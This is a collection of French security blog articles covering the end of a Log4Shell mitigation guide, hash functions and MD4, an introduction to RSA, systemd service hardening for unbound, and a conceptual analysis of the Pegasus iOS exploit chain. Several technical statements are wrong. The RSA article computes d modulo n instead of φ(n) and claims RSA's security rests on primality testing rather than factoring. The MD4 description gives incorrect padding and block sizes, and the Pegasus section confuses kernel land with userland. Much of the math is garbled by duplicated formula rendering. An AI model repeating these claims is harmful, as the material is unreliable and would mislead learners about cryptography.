
La première, la plus évidente, mettre à jour log4j vers la version 2.17.0 et/ou Java vers la version 8u121 (sortie début 2017). ⚠️ Les versions 2.15 et 2.16 sont respectivement vulnérables à une RCE et un attaque DOS ces versions ne sont donc pas à considérer comme sécurisées.

La seconde, mettre la variable log4j2.formatMsgNoLookups à True, ceci peut être fait en ajoutant l'argument ‐Dlog4j2.formatMsgNoLookups=True à la commande permettant de lancer l'application Java. Ceci peut aussi être fait en ajoutant la variable d'environnement Linux LOG4J_FORMAT_MSG_NO_LOOKUPS.

La troisième, plus radicale, consiste à enlever purement et simplement la classe JndiLookup qui est la cause de cette vulnérabilité. Ceci peut être fait avec la commande zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class notamment.

Une autre solution plus amusante a été mise en place par Maayan-Sela et cr-mitmit, elle s'appelle Logout4Shell, c'est un logiciel en Java qui permet de patcher n'importe quel serveur vulnérable. Le code est disponible ici.

Une autre solution, préventive cette fois, qui aurait pu limiter grandement les dégâts, est de bien cloisonner ses différents services. Ceci peut être fait au moyen de services systemd renforcés, ou de technologies de conteneurisation comme Docker.

Comment fonctionnent les fonctions de hashage ?

Fonction cryptographique de hachage

Dans un précédant article, Eban a déjà introduit le concept de chiffrement, et pour reprendre les termes du blog chiffrer.info (la petite piqure de rappelle, ON DIT CHIFFRER, c'était juste au cas où), le chiffrement se définit comme étant "un procédé de cryptographie grâce auquel on souhaite rendre la compréhension d’un document impossible à toute personne qui n’a pas la clé de (dé)chiffrement". Très bien, mais parfois, on souhaite précisément qu'il ne soit pas possible d'effectuer l'opération de déchiffrement, par exemple dans le cas du stockage d'un mot de passe. C'est l'idée qui se cache derrière le hachage.

Notations et mathématiques

Vous le savez sûrement, tout ce qui concerne la cryptographie repose lourdement sur la mathématique, ainsi, je préfère préciser au préalable les notations que j'utiliserais et définir les différents objets que j'aurais à manipuler. À noter cependant qu'il n'est pas nécessaire de comprendre tout le contenu mathématique de l'article pour en comprendre l'essentiel, les détails présent sont simplement ici pour satisfaire les curieux (ou les matheux).

Au sujet des symboles et notations:

  • \in désigne "appartient à".
  • :=:= désigne l'égalité de définition dont j'estime l'utilisation plus rigoureuse (pour ceux qui voudraient plus de détails, vous pouvez regarder cette vidéo d'El Jj).
  • Le produit d'une famille (ai)1in(a_i)_{1\leq i\leq n} sera noté a1×...×an=i=1naia_1 \times...\times a_n= \prod_{i=1}^{n}{a_i}, il en va de même pour sa somme qui sera notée a1+...+an=i=1naia_1 + ... + a_n = \sum_{i=1}^n{a_i}.
  • Pour nn un entier, on notera la factorielle de nn, 1×2×...×n=i=1ni=n!1\times 2 \times ... \times n = \prod_{i=1}^{n}i = n!.
  • La notation EE^* désigne un ensemble de taille arbitraire, même infini.

Ce qui m'offre une super transition… Au sujet des objets ensemblistes:

  • Un ensemble peut être définit de manière intuitive comme une collection d'objets, des nombres, des voitures, des matrices, ou des messages à chiffrer. Par convention, ils sont désignés par des lettres capitales.
  • Si EE est un ensemble et nn un entier naturel non nul, En={(x1,...,xn),x1inE}E^n = \{(x_1,...,x_n), x_{1\leq i\leq n} \in E\}. Un élément de cet ensemble est appelé nn-uplet de EE. En d'autres termes, un nn-uplet est une "suite" de nn éléments de EE.
  • On note, pour tout ensemble EE, son cardinal noté Card(E)\text{Card}(E) (aussi E|E|), se définit intuitivement comme l'entier naturel correspondant au nombre d'éléments de EE.
  • Une application ff est une relation entre deux ensembles EE et FF qui à tout élément xEx\in E, associe un élément f(x)Ff(x) \in F, on la note f:EFf: E \rightarrow F. On confondra volontairement les termes applications et fonctions.
  • Prenons xEx \in E, f(x)f(x) est appelée image, et xx antécédant. Pour coller au vocabulaire utilisé en cryptographie, un antécédant sera appelée préimage, et une image pourra être appelée condensat.
  • Une fonction f:EFf: E \rightarrow F est dite injective (est une injection) si et seulement si tout élément de FF admet au plus un antécédent par ff.
  • Une fonction f:EFf: E \rightarrow F est dite surjective (est une surjection) si et seulement si tout élément de FF admet au moins un antécédent par ff.

Au sujet de la logique booléenne:

  • L'opération booléenne NOT sera notée ¬\neg.
  • L'opération booléenne AND sera notée \wedge.
  • L'opération booléenne OR sera notée$\vee$.
  • L'opération booléenne XOR sera notée \oplus.

Concept

On considère MM l'ensemble des messages possibles, une fonction de hachage hh peut se définir comme étant une fonctions de MM dans HH, l'ensemble des images qui chacune possède une taille fixe nn, un entier naturel. Cependant, il faut se rappeler que le message (et le condensat) sont en binaire, ils peuvent donc être écrit comme une suite de 0 et de 1 que l'on peut modéliser par un nn-uplet de l'ensemble {0,1}\{0,1\}. Ainsi, on peut prendre M={0,1}M = \{0,1\}^* et H={0,1}nH = \{0,1\}^n (autrement dit, h:{0,1}{0,1}nh: \{0,1\}^* \rightarrow \{0,1\}^n). Naturellement, une question peut venir à l'esprit. S'il s'agît d'une fonction, alors par définition je peux retrouver la préimage, ou au moins la calculer. Dans notre cas il s'agît d'un problème majeur pour la sécurité de l'algorithme. C'est pourquoi les fonctions de hachages se doivent d'être résistante à ce calcul de préimage. D'une autre manière, on fait en sorte que le calcul de h(x)h(x) soit facile pour tout xMx \in M, et que pour tout yHy \in H, le calcul de xMx \in M vérifiant h(x)=yh(x) = y est long (oui c'est assez vague, mais la définition formelle est très complexe). Les fonctions de hachages sont appelées fonction à sens unique (ou One-Way function en anglais).

En fonction des caractéristiques de hh, on lui donne des adjectifs spécifiques. En outre, on dira que hh est parfaite pour MM si elle est une injection de MM dans HH (en particulier, si de plus Card(M)=Card(H)\text{Card}(M) = \text{Card}(H), elle sera dite minimale). Un corolaire immédiat de cette définition est que si hh est parfaite, alors elle n'admet aucune collision (la preuve se tient à l'application de deux définitions, elle est donc laissée au soin du lecteur) c'est à dire des couples (x,x)M2,xx(x,x') \in M^2, x\neq x' tels que f(x)=f(x)f(x) = f(x') (on peut minorer le nombre de collisions cc, dans le cas où MM et HH sont finis: cCard(M)Card(H)c \geq \text{Card}(M) - \text{Card}(H)) et on appelle seconde préimage xx'. En revanche, cela paraît tout simplement impossible à obtenir, sans fixer l'ensemble MM ce qui risque d'entacher à la sécurité de hh. Ainsi, le cas le plus fréquent sera de considérer une fonction de hachage qui est surjective, par conséquent, il existera toujours des collisions. Si MM est de taille infinie, c'est à dire s'il contient tout les messages imaginables, alors il y a une infinité de collisions possibles. Le but est désormais de pouvoir avoir une répartition homogène (statistiquement parlant, intuitivement cela signifie qu'il y en a un peu partout) de ces collisions. Nouvelle définition. On dit que hh est résistante aux collisions (ou Collision-Resistant Hash Function en anglais) si le calcul d'une collision est complexe calculatoirement (pour la même raison que que les One-Way-Function). Rendre une fonction résistante aux collisions est donc un objectif de sécurité important.

Je fais un petit aparté sur l'attaque des anniversaires. Le problème est simple, étant donné une population de nn individus, combien sont-ils nécessaires pour que la probabilité que deux aient la même date d'anniversaire soit supérieur à 12\frac{1}{2}. En effet, on peut assimiler cela, dans notre contexte, à la taille de l'ensemble des messages possibles pour que la probabilité d'avoir une collision soit supérieur à ladite probabilité. Avoir une connaissance de cette probabilité indique jusqu'à quel point une fonction cryptographique peut être résistante aux collisions.

L'explication qui suit repose énormément sur les mathématiques, et est uniquement présente pour expliquer plus en détail l'idée exposée, elle n'est pas essentielle pour la suite.

Soit M={0,1}nM = \{0,1\}^n, pour chaque message possible. On souhaite approximer la probabilité que pp éléments aient la même image par hh. Ainsi, il y a au total, npn^p possibilités. Si virtuellement on test chacune d'entre elles, on représente cela avec un arrangement: Anp=n!(np)!A^p_n = \frac{n!}{(n-p)!} que l'on divise par le nombre totale de possibilités. En revanche, ici on à le cas où chacun à une image différente, donc l'évènement XX "au moins deux éléments ont leurs images identiques" a pour probabilité P(X)=1n!(np)!np\mathbb{P}(X) = 1 - \frac{n!}{(n-p)!n^p}. On cherche alors à approximer ce résultat. Commençons par rappeler qu'au voisinage de 00 (autrement dit très proche), on a (1) ex=1+x+o(x)(1)~e^x = 1 + x + o(x) (où le o(x)o(x) indique que le terme est négligeable en 00, c'est à dire que quand xx tend vers 00, o(x)o(x) fait de même). Or à l'aide du produit il vient: Anp=n!(np)!=k=np+1nk=j=0p1[j+np+1].A^p_n = \frac{n!}{(n-p)!} = \prod_{k=n-p+1} ^{n}{k} = \prod_{j=0}^{p-1}{[j+n-p+1]}. Et en inversant ce dernier on obtient: j=0p1[nj].\prod_{j=0}^{p-1}[n-j]. Mais: 1nk=1j=0nn.\frac{1}{n^k} = \frac{1}{\prod_{j=0}^{n}n}. Finalement: n!(np)!np=j=0p1[nj]1j=0p1n=j=0p1[1jn]\frac{n!}{(n-p)!n^p} = \prod_{j=0}^{p-1}[n-j]\cdot\frac{1}{\prod_{j=0}^{p-1}n} = \prod^{p-1}_{j=0}\left[1-\frac{j}{n}\right]. En reprenant (1)(1) il vient que: j=0nej/n=j=0p1[1jn+o(j/n)].\prod_{j=0}^{n}e^{-j/n} = \prod^{p-1}_{j=0}\left[1-\frac{j}{n} + o(j/n)\right]. Soit que: P(X)j=0nej/n=1exp(1nj=0p1j)=1exp(p(p1)2n).\mathbb{P}(X) \approx \prod_{j=0}^{n}e^{-j/n} =1- \exp\left(-\frac{1}{n}\sum_{j=0}^{p-1}j\right) = 1- \exp\left(-\frac{p(p-1)}{2n}\right). Cette approximation permet alors d'estimer le nombre de calculs nécessaires à un attaquant pour que la probabilité que deux messages forment une collision soit supérieure à 1/21/2.

Condensat NT

Dans la documentation de Microsoft officielle, les haches NT sont générés de la manière suivante (merci @Pixis d'ailleurs pour l'information): Define NTOWFv1(Passwd, User, UserDom) as MD4(UNICODE(Passwd)) Donc, c'est MD4 qui est utilisé (à noter que la fonction UNICODE() renvoie une chaîne encodée en UTF16-LE). Introduit en 1990 par Ronald Rivest, un cryptologue du MIT (surtout connu pour sa contribution à RSA), MD4 est décrit dans le RFC1320 (que vous pouvez trouver ici) et il se base sur la construction de Merkle-Damgård; c'est à dire qu'il emploie une fonction de compression. Le principe est assez simple: - On prend un message MM d'une certaine longueur. Puis on ajoute des zéros de telle sorte à ce que la longueur du message soit congrue à 448 modulo 512, plus formellement, M416mod512M \equiv 416 \mod 512. - On divise le message en kk parties (pour être exact, [k:=len(M)/16]N[k:=\text{len}(M)/16] \in \mathbb{N}) de 16 bits (que l'on dénotera par la suite (Mi)1ik(M_i)_{1\leq i \leq k}). - On initialise 4 buffers A:=01 23 45 67A:= \texttt{01 23 45 67}, B:=89 ab cd efB:= \texttt{89 ab cd ef}, C:=fe dc ba 98C:= \texttt{fe dc ba 98}, D:=76 54 32 10D:= \texttt{76 54 32 10} (de bels séquences régulières n'est-ce pas ?). - On pose les fonctions suivantes de ({0,1}32)3{0,1}32(\{0,1\}^{32})^3 \rightarrow \{0,1\}^{32}, F(X,Y,Z):=(XY)(¬XZ)F(X,Y,Z):=(X \wedge Y) \vee (\neg X \wedge Z), G(X,Y,Z):=(XY)(XZ)(YZ)G(X,Y,Z):=(X \wedge Y) \vee (X \wedge Z) \vee (Y \wedge Z), H(X,Y,Z):=XYZH(X,Y,Z):=X \oplus Y \oplus Z. Ces fonctions agissent tels des fonctions de compressions sur les paramètres. - Enfin, on procède à un calcul itératif. Les calculs sont longs à décrire et assez similaire, donc je met le code issus de RFC:

    AA = A
    BB = B
    CC = C
    DD = D

    /* Round 1. */
    /* Let [abcd k s] denote the operation:
             a = (a + F(b,c,d) + X[k]) <<< s. */
    /* Do the following 16 operations. */
    [ABCD  0  3]  [DABC  1  7]  [CDAB  2 11]  [BCDA  3 19]
    [ABCD  4  3]  [DABC  5  7]  [CDAB  6 11]  [BCDA  7 19]
    [ABCD  8  3]  [DABC  9  7]  [CDAB 10 11]  [BCDA 11 19]
    [ABCD 12  3]  [DABC 13  7]  [CDAB 14 11]  [BCDA 15 19]

    /* Round 2. */
    /* Let [abcd k s] denote the operation:
             a = (a + G(b,c,d) + X[k] + 5A827999) <<< s. */
    /* Do the following 16 operations. */
    [ABCD  0  3]  [DABC  4  5]  [CDAB  8  9]  [BCDA 12 13]
    [ABCD  1  3]  [DABC  5  5]  [CDAB  9  9]  [BCDA 13 13]
    [ABCD  2  3]  [DABC  6  5]  [CDAB 10  9]  [BCDA 14 13]
    [ABCD  3  3]  [DABC  7  5]  [CDAB 11  9]  [BCDA 15 13]

    /* Round 3. */
    /* Let [abcd k s] denote the operation:
             a = (a + H(b,c,d) + X[k] + 6ED9EBA1) <<< s. */
    /* Do the following 16 operations. */
    [ABCD  0  3]  [DABC  8  9]  [CDAB  4 11]  [BCDA 12 15]
    [ABCD  2  3]  [DABC 10  9]  [CDAB  6 11]  [BCDA 14 15]
    [ABCD  1  3]  [DABC  9  9]  [CDAB  5 11]  [BCDA 13 15]
    [ABCD  3  3]  [DABC 11  9]  [CDAB  7 11]  [BCDA 15 15]

    /* Then perform the following additions. (That is, increment each
       of the four registers by the value it had before this block
       was started.) */
    A = A + AA
    B = B + BB
    C = C + CC
    D = D + DD

Où l'opérateur <<<<<< désigne un décalage ("rotation vers la gauche").

Ainsi, on peut résumer le procédé grâce à une suite (MD4i)0ik(\text{MD4}_i)_{0\leq i \leq k} et fonction de compression h:{0,1}n+m{0,1}nh: \{0,1\}^{n+m} \rightarrow \{0,1\}^n, qui démarre d'un IV: MD40=IV,MD4i+1=h(MD4i,Mi)\text{MD4}_0 = \text{IV},\text{MD4}_{i+1} = h(\text{MD4}_i,M_i). Bon… au passage, MD4 est vraiment déprécié donc Microsoft pourrait s'améliorer (oui, pas que sur cela d'ailleurs).

Les valeurs sont passées plusieurs fois dans la fonction md4

Conclusion

Et voilà, l'article touche à sa fin, j'espère qu'il vous aura plu et éclairé sur le sujet des fonctions cryptographiques de hachages qui peut être, à première vu, assez étrange. La cryptographie est un monde passionnant remplie de jolies applications de mathématiques, éventuellement nous nous retrouverons pour parler de courbe elliptiques qui sait ? En attendant, je vous invite à consulter les autres articles disponibles sur ilearned et ceux de mon blog !

RSA, comment ça marche ?

RSA est sûrement l'algorithme de chiffrement asymétrique le plus connu, il est utilisé chaque jour par des millions d'appareils, même le certificat TLS du site que vous visitez en ce moment est basé sur RSA ! Cet article détaillera le fonctionnement mathématique de RSA, aucun prérequis n'est nécessaire (à part peut-être une tasse de café ☕).

La cryptographie asymétrique, qu'est-ce que c'est ?

Il existe deux types d'algorithmes de chiffrement

  • Les algorithmes de chiffrement symétriques : ils impliquent d'avoir un secret (un "mot de passe") partagé entre les différents appareils. Ce genre d'algorithme a pour avantage d'être plutôt rapide mais a pour inconvénient, et pas des moindres, de devoir avoir un canal sécurisé pour transmettre le secret.
  • Les algorithmes de chiffrement asymétriques : ces algorithmes, dont RSA fait partie, ne nécessitent pas de partager un secret à l'avance. Ils se basent sur une paire de clés (une publique et une privée) liées mathématiquement. Cet algorithme a donc pour avantage de ne pas nécessiter un canal sécurisé pour initier la connexion, mais pour inconvénient d'être nettement moins rapide que les algorithmes de chiffrement symétriques.

Alors, comment fonctionne RSA ?

Cette partie sera un peu plus mathématique mais devrait être accessible pour tout le monde. Si vous avez des questions, n'hésitez pas à les poser dans les commentaires en bas de cet article !

Génération des clés

  1. On choisit deux nombres premier distincts pp et qq (pour rappel, un nombre premier est un nombre qui n'a que deux diviseurs, 1 et lui-même.)

    p=5q=13p = 5 \\ q = 13

  2. On calcule nn le produit de pp et qq.

    n=5×13n=65n = 5×13 \\ n = 65

  3. On calcule la valeur indicatrice d'Euler en nn. L'indicaquoi ? 🤨 La valeur indicatrice d'Euler c'est une fonction notée ϕ\phi qui, à tout entier naturel nn associe le nombre d'entiers naturels compris entre 1 et nn et premiers avec nn. Premier avec ? 🤔 Quand deux nombres sont premiers entre eux, ça veut simplement dire qu'ils n'ont aucun facteur premier en commun.

    Par exemple, 12 est premier avec 5 car dans la décomposition en facteurs premiers de 12 ($2\times2\times3$) on ne retrouve pas 5

    Voici un petit exemple de la valeur indicatrice d'Euler qui devrait vous permettre de bien comprendre :

    ϕ(12)=4(1,5,7,11)\phi(12) = 4 \\ \small{(1, 5, 7, 11)}

    Les nombres 1, 5, 7 et 11 sont bien premiers avec 12.

    Nous allons donc calculer la valeur indicatrice d'Euler en nn. Pour calculer cette dernière, il faut connaitre les propriétés suivantes :

    ϕ(a×b)=ϕ(a)×ϕ(b)\phi(a\times b) = \phi(a)\times \phi(b)

    Pour n'importe quel nombre premier c, ϕ(c)=c1\phi(c)=c-1

    Avec ces deux propriétés en tête et sachant que p et q sont deux nombres premiers, on peut affirmer que

    ϕ(p)=p1ϕ(q)=q1ϕ(n)=ϕ(p×q)=ϕ(p)×ϕ(q)ϕ(n)=(p1)×(q1)\phi(p) =p - 1 \\ \phi(q) = q-1 \\ \phi(n) = \phi(p \times q) = \phi(p) \times \phi(q) \\ \phi(n) = (p - 1) \times (q - 1)

    On remplace par nos valeurs d'exemple

    ϕ(5)=51ϕ(13)=131ϕ(5×13)=ϕ(5)ϕ(13)ϕ(65)=(51)(131)ϕ(65)=412ϕ(65)=48\phi(5) = 5 - 1 \\ \phi(13) = 13-1 \\ \phi(5 \times 13) = \phi(5)*\phi(13) \\ \phi(65) = (5 - 1)(13 - 1) \\ \phi(65) = 4*12 \\ \phi(65) = 48 \\

  4. On choisit un entier naturel ee premier avec ϕ(n)\phi(n) (qui est donc ici 48).

    e=5e = 5

  5. On calcule dd, l'inverse modulaire de ee modulo nn. L'inverse modulaire ? Modulo ? Qu'est-ce que c'est ces trucs ? 🧐 Pour comprendre le concept d'inverse modulaire, il est nécessaire de comprendre ce qu'est la congruence sur les entiers. Deux entiers aa et bb sont dits congrus modulo nn si le reste de la division euclidienne de aa par nn et de bb par nn est identique. Par exemple 33 et 9 sont dits congrus modulo 12 car le reste de la division euclidienneHee de 33 par 12 est 9, et que le reste de la division euclidienne de 9 par 12 est 9. On note cela de la façon suivante :

    339mod1233 et 9 sont congrus modulo 1233 \equiv 9 \mod{12} \\ \small\textit{33 et 9 sont congrus modulo 12}

    Une autre façon de se représenter la chose serait d'imaginer une horloge (avec donc 12 heures), si on fait tourner l'aiguille des heures de 9 heures ou de 33, elle se retrouvera au même endroit à la fin.

    Horloge tournant 33 heures et horloge tournant 9 heurs

    Donc, calculer l'inverse modulaire d'un entier aa modulo nn c'est trouver un entier uu résolvant l'équation :

    au1modnau \equiv 1 \mod{n}

    Ce qui revient donc à chercher un nombre uu tel que le reste de la division euclidienne de a×ua \times u par n soit égal au reste de la division euclidienne de 1 par ee.

    Comment déterminer uu ? Et bien pas de formule magique, il suffit de bruteforcer tous les nombres entiers entre 0 et nn. On note cela :

    u 0 ; n u \in~ ⟦0~;~n⟧

    Dans notre exemple, on veut calculer l'inverse modulaire de ee modulo ϕ(p×q)\phi(p\times q). On fait donc

    5d1mod485291mod48d=295d \equiv 1 \mod{48} \\ 5*29\equiv 1 \mod 48 \\ d = 29

    Et c'est fini ! On a nos clés publiques et privées. Le couple (n,e) est notre clé publique et le nombre d notre clé privée.

Chiffrement d'un message

Maintenant que l'on a notre paire de clés, on peut chiffrer notre premier message.

Soit M, le message que l'on souhaite chiffrer strictement inférieur à n, on calcule C le message chiffré de la façon suivante.

MeCmodnM^{e}\equiv C \mod n

Exemple avec M = 42

425Cmod6542522mod6542^{5}\equiv C \mod 65 \\ 42^5 \equiv 22 \mod 65

Le message chiffré pour notre clé publique est donc 22

Déchiffrement d'un message

Une fois notre message chiffré, on peut le déchiffrer en appliquant la formule suivante :

MCdmodnM2229mod65M=42M \equiv C^d \mod n \\ M \equiv 22^{29} \mod 65 \\ M = 42

Décryptage d'un message

Petit rappel, décrypter un message consiste à déterminer le contenu du dit message sans connaitre la clé utilisée pour le chiffrer.

Pour décrypter un message, il faut trouver l'inverse modulaire de ee modulo nn ce qui n'est pas possible sans connaître pp et qq. Le seul moyen est donc bruteforcer en vérifiant pour chaque nombre qu'il est premier, mais aussi que le produit de ces deux nombres n'est pas factorisable.

Conclusion

La robustesse de RSA se base donc sur la complexité calculatoire des algorithmes de vérification de primauté de très grands nombres. Le problème est que pour créer des clés toujours plus robustes, il faut augmenter la taille de la clé ce qui peut devenir contraignant. Afin de répondre à cette problématique, et à d'autres que nous aborderons plus tard, ont été introduites des fonctions de chiffrement asymétrique basées sur les courbes elliptiques.

Comment sécuriser ses services systemd ?

Si vous être un utilisateur de Linux, vous connaissez sûrement systemd, systemd est ce que l'on appelle un init, c'est le premier logiciel lancé par le système d'exploitation et il est chargé de démarrer tous les autres. Pour être démarré par systemd un logiciel doit être reconnu comme un service. Un service c'est un fichier qui détaille les informations à propos des logiciels à lancer, comment les lancer, les arrêter, leur nom, quels sont leurs dépendances et plus encore. systemd propose des fonctionnalités de sécurité plutôt avancées et très utiles pour sécuriser son système. C'est ces fonctionnalités que nous détaillerons dans cet article.

Dans cet article, nous sécuriserons le service systemd de unbound, un serveur DNS résolveur. Pour inspecter la sécurité d'un service systemd, on peut utiliser la commande systemd-analyze security example.service, essayons donc avec le service systemd de unbound :

user@vm01:~$ systemd-analyze security unbound.service
→ Overall exposure level for unbound.service: 9.5 UNSAFE 😨

9.5/10 en score d'exposition, y'a du boulot 😅. Jetons un oeil au service systemd de Unbound.

[Unit]
Description=Unbound DNS server # Description du service
Documentation=man:unbound(8) # Lien vers la documentation
After=network.target # Dépendance, le service ne démmarera que si l'ordinateur est connecté au réseau
Before=nss-lookup.target # Doit être ancé avant que les logiciels utilisant DNS le soient
Wants=nss-lookup.target # Lance les logiciels utilisant DNS une fois que le service unbound est lancé

[Service]
Type=notify
Restart=on-failure # Redémarre le service s'il rencontre une erreur
EnvironmentFile=-/etc/default/unbound # Fichier d'environnement Bash
ExecStartPre=-/usr/lib/unbound/package-helper chroot_setup # Commande à exécuter avant de lancer unbound
ExecStartPre=-/usr/lib/unbound/package-helper root_trust_anchor_update # Commande à exécuter avant de lancer unbound
ExecStart=/usr/sbin/unbound -d $DAEMON_OPTS # Commande à exécuter pour lancer unbound
ExecReload=/usr/sbin/unbound-control reload # Commande à exécuter pour recharger la configuration d'unbound
PIDFile=/run/unbound.pid # Emplacement du PID

[Install]
WantedBy=multi-user.target

On a ici un service systemd tout ce qu'il y a de plus classique, si vous n'avez pas l'habitude d'utiliser systemd, toutes les directives présentes dans ce fichier sont commentées.

Afin d'améliorer la sécurité de ce service systemd, voici la liste des différentes directives que nous pouvons ajouter

  • AmbientCapabilities permet de donner des capacités au processus lors de son lancement. Les capacités permettent de donner des permissions à certains processus de façon plus précise que le système de permissions plus classique de Linux. Elles permettent par exemple de donner le droit à un processus d'allouer des port en dessous de 1024 sans droits root.
  • CapabilityBoundingSet permet de limiter les capacités qui peuvent être données au processus. C'est une liste des capacités qui peuvent être données au processus.
  • Group et User permettent de spécifier quel utilisateur et quel groupe lance le logiciel, c'est une directive quasi indispensable pour sécuriser un service systemd.
  • LockPersonality empêche le processus de changer de domaine d'exécution. Red Hat définit très bien ce que sont les domaines d’exécution : pensez aux domaines d'exécution comme à la "personnalité" d'un système d'exploitation. Étant donné que d'autres formats binaires, tels que Solaris, UnixWare et FreeBSD, peuvent être utilisés avec Linux, les développeurs peuvent changer la façon dont le système d'exploitation traite les appels système (syscall) provenant de ces binaires en modifiant la "personnalité" de la tâche.
  • NoNewPrivileges empêche le processus d'obtenir de nouveaux privilèges, cela permet d'éviter qu'un attaquant puisse utiliser ce processus pour gagner des privilèges supplémentaires.
  • PrivateDevices crée un dossier /dev spécifique à ce service lui donnant accès aux pseudo-device (/dev/null, /dev/random etc.) mais pas aux device physiques (/dev/sdaX, /dev/sdbX etc.).
  • PrivateTmp crée un dossier /tmp spécifique à ce service.
  • ProtectClock empêche le service de modifier l'horloge du système.
  • ProtectControlGroups empêche le service de modifier/ajouter des cgroup.
  • ProtectHome rend les répertoires /home/, /root, et /run/user inaccessibles et vides aux yeux du processus.
  • ProtectKernelLogs empêche le processus de lire les logs du kernel.
  • ProtectKernelModules empêche le processus de charger des modules kernel.
  • ProtectKernelTunables empêche le processus d'écrire dans les variables kernel (souvent dans /sys).
  • ProtectSystem monte les répertoires /usr, /boot et /efi en lecture seul.
  • ReadWriteDirectories définit les répertoires accessibles en écriture et en lecture aux processus exécutés.
  • RestrictAddressFamilies définit les type d'adresse (adresses IPs, de socket unix etc.) que le processus peut utiliser
  • RestrictNamespaces empêche le processus d'accéder à n'importe quel namespace. Un namespace, sous linux, est une sorte de conteneur (même si le terme n'est pas exact) qui permet d'isoler, en partie, des processus du reste du système, cette directive empêche donc les processus du service d'accéder à d'autres namespaces que le sien. Pour en savoir plus, je vous invite à lire cet article de Linux Embedded.
  • RestrictRealtime empêche le processus d'utiliser des options relatives au "Système de planification en temps réel" (real-time scheduling system) ce système permet de planifier l'exécution de différentes actions, mais il peut être abusé afin de mener des attaques DoS (Denial of Service).
  • RestrictSUIDSGID permet d'empêcher le service de changer l'utilisateur ou le groupe qui détient un fichier ou un dossier.
  • SystemCallFilter permet de n'autoriser que certains appels systèmes (syscall).

Ça fait beaucoup de directives 😅 Si vous souhaitez en avoir une liste plus détaillée je vous invite à lire la documentation de systemd. Appliquons maintenant toutes ces directives que nous venons de voir, cela nous donne ce service systemd

[Unit]
Description=Unbound DNS server
Documentation=man:unbound(8)
After=network.target
Before=nss-lookup.target
Wants=nss-lookup.target

[Service]
Type=notify
User=unbound
Group=unbound
Restart=on-failure
EnvironmentFile=-/etc/default/unbound
ExecStartPre=-/usr/lib/unbound/package-helper chroot_setup
ExecStartPre=-/usr/lib/unbound/package-helper root_trust_anchor_update
ExecStart=/usr/sbin/unbound -d $DAEMON_OPTS
ExecReload=/usr/sbin/unbound-control reload
PIDFile=/etc/unbound/unbound.pid

AmbientCapabilities=CAP_NET_BIND_SERVICE
CapabilityBoundingSet=CAP_NET_BIND_SERVICE
SecureBits=keep-caps
NoNewPrivileges=yes
ProtectSystem=full
ProtectHome=true
RestrictNamespaces=true
RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6
PrivateTmp=true
PrivateDevices=true
ProtectClock=true
ProtectControlGroups=true
ProtectKernelTunables=true
ProtectKernelLogs=true
ProtectKernelModules=true
LockPersonality=true
RestrictSUIDSGID=true
RemoveIPC=true
RestrictRealtime=true
SystemCallFilter=@system-service
MemoryDenyWriteExecute=true
ReadWriteDirectories=/etc/unbound

[Install]
WantedBy=multi-user.target

Et tout cela nous donne un score d'exposition de 1.9/10 ! 🎉 Vous pourrez retrouver une liste de services systemd les plus communs "renforcés" sur le gitea d'I Learned, si vous voyez qu'il manque certains services n'hésitez pas à les ajouter en faisant une pull request ou en créant un ticket.

Pegasus, à la croisée du technique et du politique

Le 18 juillet 2021 à 19h, Amnesty International révèle dans une enquête en collaboration avec Forbidden Stories que le logiciel Pegasus, édité par la société israélienne NSO Group, a été utilisé à des fins d'espionnage contre des militants politiques, des journalistes, des membres d'ONG etc. On apprendra quelques jours plus tard que l'État marocain a acheté à NSO sa solution d'espionnage afin de placer sur écoute de nombreux ministres français, mais aussi Edwy Plenel, Eric Zemmour ou encore Emmanuel Macron. Ce logiciel avait déjà été mis sous le feu des projecteurs en 2016 par Citizen Lab pour dénoncer le même genre de pratiques. Nous analyserons dans cet article l'aspect technique du spyware Pegasus dans sa version pour iOS.

Première révélations, 2016 − Trident

En 2016, la société Lookout publie un whitepaper détaillant le fonctionnement technique de Pegasus sur iOS. Le mode opératoire de ce spyware est relativement simple, un message contenant un lien est envoyé à la cible, lorsque la cible clique sur le lien une faille 0day est exploitée sur le téléphone de la victime, et le spyware s'installe.

Schéma montrant une infection par un lien vérolé.

Afin d'infecter le téléphone de la victime, le malware Pegasus utilise trois vulnérabilités différentes, la première est la CVE-2016-4657. − Une CVE est une faille de sécurité rendue publique, c'est l'acronyme de Common Vulnerabilities and Exposures. − Cette CVE consiste en une vulnérabilité dans la façon qu'a Webkit, le moteur de rendu de page web utilisé par iOS, d'interpréter le JavaScript, et plus particulièrement dans la fonction arrayProtoFuncSlice qui permet simplement de couper un array à un endroit précis.

var a = [1, 2, 3, 4];
var s = a.slice(1, 3);
// s = [2, 3]

Grace à cette vulnérabilité que nous ne verrons pas en détail ici étant donné la complexité de son fonctionnement, un code JavaScript malveillant peut écrire à des endroits dans la mémoire auxquels il ne devrait pas avoir accès, ainsi un attaquant peut exécuter du code directement sur le système depuis une page web.

Une fois cette faille exploitée, Pegasus en utilise une seconde, la CVE-2016-4655.

Pour appréhender cette vulnérabilité, il est nécessaire de comprendre ce qu'est le Kernel ASLR. Lorsque l'on cherche à attaquer un système et plus spécifiquement lorsque l'on cherche à pivoter du kernel land vers le userland, il peut être intéressant de connaitre la position (l'adresse) du Kernel dans la RAM, si cette adresse était statique il serait trivial de l'obtenir. Pour éviter cela, il existe une fonction appelée KASLR (Kernel Address Space Layout Randomization, littéralement randomisation de l'espace d'adressage du noyau). Avec KASLR, à chaque redémarrage de l'appareil, l'adresse du kernel est décalée d'une valeur aléatoire, appelée kernel slide, générée par le bootloader. Cette fonctionnalité n'est pas spécifique à iOS, elle est aussi présente sous Linux, BSD (donc MacOS) et Windows.

La CVE-2016-4655 permet donc à un attaquant de calculer ce kernel slide et donc la position du Kernel en RAM, ce qui sera utile pour exploiter la dernière CVE de notre triptyque, la CVE-2016-4656.

Cette CVE est une vulnérabilité de type Use-After-Free, de référencer un endroit de la mémoire libéré, mais dont l’adresse serait encore présente dans le code. L'exploit arrive ensuite à écraser l'objet présent à cette adresse et forcer l'exécution d'un code malveillant, qui aura donc des privilèges élevés, en l'occurence, il sera niveau du Kernel. Une fois ces privilèges acquis, Pegasus peut pivoter afin d'obtenir des privilèges d'aministrateur, jailbreaker l'appareil, s'installer avec ces dits privilèges d'administrateur et ainsi pouvoir espionner les conversations de l'utilisateur.

Schema montrant le principe d'une vulnérabilité UFA

